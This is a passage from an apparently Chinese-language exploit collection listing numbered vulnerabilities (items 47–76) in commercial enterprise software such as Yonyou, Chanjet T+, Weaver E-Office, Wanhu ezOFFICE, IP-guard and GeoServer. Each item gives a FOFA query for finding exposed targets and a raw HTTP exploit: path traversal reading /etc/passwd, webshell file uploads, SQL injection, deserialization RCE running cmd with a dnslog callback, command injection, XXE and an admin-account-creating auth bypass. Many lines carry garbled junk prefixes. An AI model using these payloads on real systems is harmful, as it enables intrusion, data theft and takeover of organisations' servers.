Connection: close

# W2 C; S2 s/ c6 ?8 u
47. 用友GRP A++Cloud 政府财务云 任意文件读取
" i3 D; _  b* D5 t, |4 K  GFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
3 z$ ?8 Q/ R; G: b* sCache-Control: max-age=0
: d! }' h# Z2 d% O2 D8 {; oUpgrade-Insecure-Requests: 1
- `4 m+ v. o) M( C3 F# xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
' w" A% \" F- t, c' o5 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. c4 s) t3 C, u7 k9 e# Q$ mAccept-Encoding: gzip, deflate, br
* K5 ~. x# q7 l+ OAccept-Language: zh-CN,zh;q=0.9
$ F) i# H4 x5 A/ J, H8 EIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
0 z" k2 i2 l& L: FConnection: close
( V# D; c1 e. b6 ?. a* S  l
( F& f2 y& v, C9 }$ v' v
& f4 x" [( N* D( w& n+ D
48. 用友U8 CRM swfupload 任意文件上传
, [* O% d: ?: b: S/ UFOFA：title="用友U8CRM"
  l& r; Q$ \1 ]1 v6 v9 h0 iPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
) F# i  I! \8 U8 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
: Z, J0 C* V8 p9 cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 M! E/ m, l3 OAccept-Encoding: gzip, deflate
  @1 A8 J; s, IContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
2 o  k6 }2 U! {+ L. _Content-Disposition: form-data; name="file"; filename="s.php"
1231
) N& \: ]  z. ?* y7 B' U- kContent-Type: application/octet-stream
7 p) Z, Y# C& R0 V------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
5 U) A& I; K6 H  Y1 ]( x$ I/ Fupload
------269520967239406871642430066855--
# H  r; N) B+ }/ Z: Z7 `+ Y- J8 z

  I- U1 ?& j% f49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
% c! b" u3 m, S6 C2 m
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
6 j' |& n/ G( J9 {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
$ q& s9 g- n; Y: \  VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
) |' P+ i3 w: d1 jAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
# |; c5 P( N4 X& r8 Y0 d( x
& c( A( j  p* m) ^% }4 i+ R" u-----------------------------vvv3wdayqv3yppdxvn3w
; R, P+ N1 }+ i& `% r, h2 S, w; vContent-Disposition: form-data; name="file"; filename="%s.php "
" T- j5 q! Q* |+ k+ r) R4 oContent-Type: application/octet-stream

. V' r/ ^  v2 Q7 l* R) J* Q) |wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
' Y/ @% E( n' h7 D8 w3 ?7 l, U8 e3 x+ E
upload
-----------------------------vvv3wdayqv3yppdxvn3w--
- ]: R+ X, o6 ~3 ]& N" \- [

& }& O$ ]4 ~8 c# e7 H3 [http://x.x.x.x/tmpfile/updB3CB.tmp.php
& Z% Y* p7 ^/ V0 v
50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
6 u8 c0 w% k9 p. g% |Accept: */*
9 m. Y# q+ g1 q/ i8 @- g6 m2 ?Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
  R7 R# u: c+ d8 U- p7 X$ G& y# s( A
2 {0 I* \; A6 h  j9 Ssearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
8 S" q1 Y1 p1 _3 M1 m) s# \

, [& i! O' N$ |, i: h" R51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
& r1 A' i% \  R1 }FOFA：app="云时空社会化商业ERP系统"
) c! ?) Y, [+ V9 f2 eGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
- c/ x( d2 [! h% aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ Q- j( }) P8 W4 D4 G) m" D* TConnection: close
4 Y2 l) M$ Y5 P% v4 S
5 N% Z" l# Z4 H# p# g3 K* `# l
52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
$ B9 G/ q8 O% u7 j; @POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
) U0 T0 p3 q8 J5 h$ eContent-Length: 87
2 G$ n3 x+ t! W/ w, zAccept: */*
Accept-Language: en
- l6 [5 `0 o  x. [1 F) `! R# r2 oContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
, I. z& x7 I: q6 E
! r! K" l0 \" p6 _6 x, Jtfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


53. 迪普 DPTech VPN Service 任意文件上传
0 C: H9 ~2 R! F3 K4 k1 P- HFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
5 x' B& g9 W; P+ {% q
( m1 J/ D- f1 E; p3 ~: B1 J5 ?
% P- x- k. M5 Z* b4 O54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
& N4 G, j6 n. h) F6 B$ N  z1 r2 _, ]第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

$ z; M/ H# g9 T" e$ \* `
( H2 s- s3 ~  Q3 w: N0 I( b完整数据包
1 H" [% ~  b/ c! q8 q8 Y6 @* L- Q, APOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

{
4 y/ n% v- x# q& @"storeID":{
) m9 V: }0 J2 c8 l5 T# C "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
# R5 [% ~- O2 X/ @9 E. K7 L% m/ j  "ObjectInstance":{
& a0 B! P0 l* H% D   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
) W+ S/ U" N( m  Z: u) t7 a1 U    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
. i# `1 i# @1 ^; S    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
. V/ @  c4 z$ ?! \/ a    }
  }
6 L" e* ?& C% m3 S$ J  }
# W, l  E2 i. e}
) {( o1 `6 o2 L# T+ u

3 t* U# |" k- d  h$ D0 v第二步，访问如下url
( o# C! ~4 S" J5 C0 {! t; ^4 B/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


55. 畅捷通T+ getdecallusers信息泄露
2 r; y8 F. h, h) rFOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
, d. P9 z! u; X  v% p3 \第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
8 @; ]8 ?$ s; U( a- a# q7 U
! w0 i) j$ F3 ~1 n, t% W" @( w4 ?6 ~56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
1 a% d! U1 S9 X9 z8 zPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
4 Y0 `: u' J/ g  U4 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
( k2 h9 P8 Z5 d# W# _Content-Type: application/json
9 d! S$ Z9 ]: q& m  x1 V
1 n, n1 a1 u- I% E1 s. y! O{
' H2 P( K3 ?! ?: v* o2 V7 U9 M8 |  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
6 |% R( ]# O, g   "MethodName":"Start",
    "ObjectInstance":{
( J1 x) u' i) S       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
: T2 q/ q( D+ p! p$ ~           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
+ g; w8 c/ y# ^& j$ `4 `9 m$ i  }
3 [2 p/ }# Y  K8 a( R5 N}
0 L' D) T  R7 |$ q
- F4 s# j# e6 O/ m) j0 u+ ]! ?
57. 畅捷通T+ keyEdit.aspx SQL注入
& v5 G/ s' z- W+ I0 Q0 @FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
3 d7 {# R0 u* L9 g! IUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
7 l  x" \* l$ ]: p$ O; j' w# wAccept-Encoding: gzip, deflate
/ i. Z4 T" }2 K6 oConnection: close
( [: s9 e8 g! V9 `' O' g
3 \: k/ b. F) I7 z
, h& f# U2 |. i" A58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
( y/ ~4 \* d3 B- C$ t$ PGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
! a7 g2 H3 m0 LUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
$ w+ A6 V3 A: s( c- T- @3 |% tAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

5 Y8 t7 u" Q2 K* @) u, y' F4 y  c0 @7 F
0 ?; d& l; L* m) t+ @0 u59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
! f) G9 r" ], e1 K1 ~% L4 |- XFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
# h- O, T* T5 Z; tHost: 192.168.86.128:9090
, F" x* W1 w$ U/ _  A! Y6 k& ~* b. ]User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
3 k% V' X, z2 E, E0 f8 fConnection: close
, d# ~% Q6 ]' A) z7 {6 IContent-Length: 1669
Accept: */*
7 }3 L) _; z! V( |1 _2 x" R$ KAccept-Language: en
" C; O; h- F- U$ ]! x+ [. @! W' ?Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
! u2 M) S6 w2 b& b
( ], y* }, y, E2 \6 ]PAYLOAD


6 p3 u  o& R7 U60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
7 x. n' G* ?- U8 @  t5 HGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ y( g! r/ I- n$ wAccept-Encoding: gzip, deflate
2 z( a+ n7 ?% R0 ]Accept-Language: zh-CN,zh;q=0.9
Connection: close
1 t7 a! O0 V" c' n% ~: Z3 q
, Q# a. a: x/ t; A1 L. I) k+ q
. t7 Q( S& I# P  {% Y+ ^" |61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
& n7 a# i; r) g# N3 S7 pFOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
+ s8 E# s  o9 A; cHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
) H. ~; v5 O5 h; H4 mContent-Length: 27
. z& a' S% }1 Z/ b  JAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
; @# C6 n5 \- g9 x& E2 QContent-Type: application/x-www-form-urlencoded
" v( q5 s: J2 O9 E8 d, H
8uxssX66eqrqtKObcVa0kid98xa

' h% s5 E# [  n$ }0 s. z- ?
62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
/ _% G( Q4 e8 ~& ^. ?- G: q% xGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
  i1 T5 v$ x' [User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
1 q: N9 T3 G& Z4 g5 ~Accept: */*
Accept-Language: en
& o/ [" i- o7 D1 W+ z$ X/ hAccept-Encoding: gzip
# r4 C' p; S0 F0 M2 R6 c

+ G; T5 q& P$ p访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
5 ~, S5 G5 G% R/ J2 |Host: x.x.x.x
, v/ y" p* S; H/ q6 ]

63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
2 q& ]* N& m7 h1 ?& gFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
8 M  R* j/ K% FHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
$ Q- e! J  x. [, `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 n6 Y0 J* e0 |; F) i* l' NAccept-Encoding: gzip, deflate
2 J% b) G' w3 L. K( Y% @  [: KAccept-Language: zh-CN,zh;q=0.9
. F# w9 s2 G4 ^% h4 cConnection: close
Content-Type: application/x-www-form-urlencoded
7 z/ E" G' l( s. H2 a+ n
+ k1 I6 Q1 m$ q; B8 npath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
, y( y2 i' {5 ~# G( ]4 d& m
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
' Z; v/ `, _7 U0 ePOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
2 A6 C+ k' g2 y$ d0 zUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
5 l2 c! N$ |! C8 B: w: |6 MContent-Length: 369
' ~2 |$ @; q: O" rAccept: */*
Accept-Language: en
, m2 P' e0 X. f, }Content-Type: text/xml; charset=utf-8
0 q. k. F" F! `* t; L& iAccept-Encoding: gzip

( F- e" E7 q9 ]! l+ {% c3 b<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
; b8 |7 B. ~9 D& {    </GetOSpById>
- i7 E3 D. b( L! `( m  </soap:Body>
" d& `! Z  `/ O4 `4 Z</soap:Envelope>


) e% b! g8 @, k* o0 ~& R! s65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
% w4 l: w! n2 d0 P( @FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
# w5 F6 O9 v' N: z响应200即成功创建账号test123456/123456
1 ~" f# u8 ]7 P  l3 ?POST /SystemMng.ashx HTTP/1.1
Host:
9 b) y/ ~* \, L" aUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
9 V" a! n# w3 {Accept-Encoding: gzip, deflate
Accept: */*
# ~$ K% L/ U! fConnection: close
4 `8 c8 v% Q# o+ \9 R7 ]Accept-Language: en
$ j" J8 R4 _0 O2 z$ j4 sContent-Length: 174
3 o& g1 _8 F; [/ a) O3 n5 U
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators


7 f+ t# G5 E- u8 G66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
; }) F! n* N( d" Z5 p* d9 H% tFOFA：app="万户ezOFFICE协同管理平台"
' {  d' g2 q+ A, Z( U* S/ g
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
. K( \' s0 F0 g& w( SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


* K, A& C4 U/ M: y9 M第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
! U- `# t5 @% v5 T( K. {) s
# ^. d; g/ h& D; O3 q% e& n  h8 p67. 万户ezOFFICE wpsservlet任意文件上传
. z# K7 x) {4 g- J3 \FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
) [8 N% Z/ x9 ^* lPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
/ Q) c' i/ ]0 U! m0 `Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
3 S0 a4 b0 a% g7 `* GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
* u  O7 }5 k: P# d  QAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1
, R* F- E8 e: X! ]1 c  Y
--ufuadpxathqvxfqnuyuqaozvseiueerp
- E. y, X3 X: B; q$ [Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

<% out.print("sasdfghjkj");%>
) F- M/ y/ F& ^; j5 Q# p- c--ufuadpxathqvxfqnuyuqaozvseiueerp--

: Y( [; D3 o1 c. k4 B% N7 H
9 @8 {0 r+ o& [2 X文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
$ V2 E* V+ Z5 M
  N5 L& O8 J; [" A5 }+ q7 ?68. 万户ezOFFICE wf_printnum.jsp SQL注入
2 |; J3 G6 n2 i7 {FOFA：app="万户ezOFFICE协同管理平台"
& q- d- o: d+ J1 Z* O7 Y% t9 Z; \GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
% [5 X. Q/ Q  _# @Connection: close

6 d' v7 b; E0 `. |3 Q; R
8 Z! m5 C  k- a69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
- [) u: i. s4 m7 vGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
, R  t( D% Z$ I3 X/ kAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


! u" E* L0 [8 L: N( q) A; L, c70. 万户ezEIP success 命令执行
" n+ T, ^; t5 S+ n; K, IFOFA：app="万户网络-ezEIP"
) {2 s5 D  I& s$ ePOST /member/success.aspx HTTP/1.1
7 h5 n1 Y# W$ y- N. i) `Host: {{Hostname}}
9 E" n& R0 t6 c* w8 X# [; @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
4 v# q6 F' z. g/ {' T/ @) tSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
$ U6 s# Z( C0 X( AContent-Type: application/x-www-form-urlencoded
( _" r% E: u/ F4 ^TYPE: C
* S* h, X( J- i7 W5 M3 ]: R! C7 kContent-Length: 16702

* m) z. I4 ^, [- a6 c+ T__VIEWSTATE=PAYLOAD
$ E+ \0 F4 d1 q5 ?( G' ]
0 b: o2 t! ^) h6 b3 V5 e$ f5 k
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
% n9 q/ ]$ O, r4 v0 z# h+ qFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
$ M5 i& m, V: E0 A+ O, iHost: x.x.x.xx.x.x.x
( f4 ?+ W) Z$ \9 yUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
* ]+ f9 C! _# M$ `. u( f! }7 p4 HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
7 U2 r0 E; l! X# QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( l2 F. Q( k, [& [: P7 jUpgrade-Insecure-Requests: 1
- V3 \0 u$ [7 N: A% m9 d; y# l

72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
6 R- Z6 x" d% p3 o9 i# ?4 ^Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
4 ^# g, {0 a& e' SContent-Length: 583
Content-Type: application/x-www-form-urlencoded
! h( t; M: L! O- y2 i3 TAccept-Encoding: gzip
) O- c( Y1 e# X
% o) S- s$ s, K: R7 Q) s$ R8 G1 y2 wS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

, r" J* n6 O# y# R7 z7 a
# i$ p+ l) v5 [4 B5 ]73. GeoServer wms远程代码执行
8 s% y( z- ?" U# a4 E; a9 jFOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
9 r* n2 O0 }7 G4 v9 x  ]Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
) E. M1 O, o( D- `* GSL-CE-SUID: 3

PAYLOAD
1 y$ V" ]& o9 p$ O; \/ J' y

9 D& S0 n) i* W* h74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
; K( V2 X" h' M9 \, f8 `% MPAYLOAD

4 m4 Y1 V2 k/ P4 [75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
# _2 r; V/ ?* l, y6 S2 l# ~FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
+ ^% O% _9 o9 K/ ^$ HHost: x.x.x.x
& ]5 f( S! |3 ?/ t5 T1 l% hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
) w% t$ B8 n4 O* g0 T( bAccept: */*
Accept-Language: en
) g- m' Z( e" c! aAccept-Encoding: gzip
2 o: T1 q" I( V4 g

GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
. G/ D8 B' B) |& t* L
$ w' Z5 S" d/ ]: D2 @! Y, U
& J, H: h6 J+ [! r; S76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
  `8 D; U1 l6 \) i8 G- P& jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; v* |* B6 P8 S" s1 AAccept-Encoding: gzip, deflate
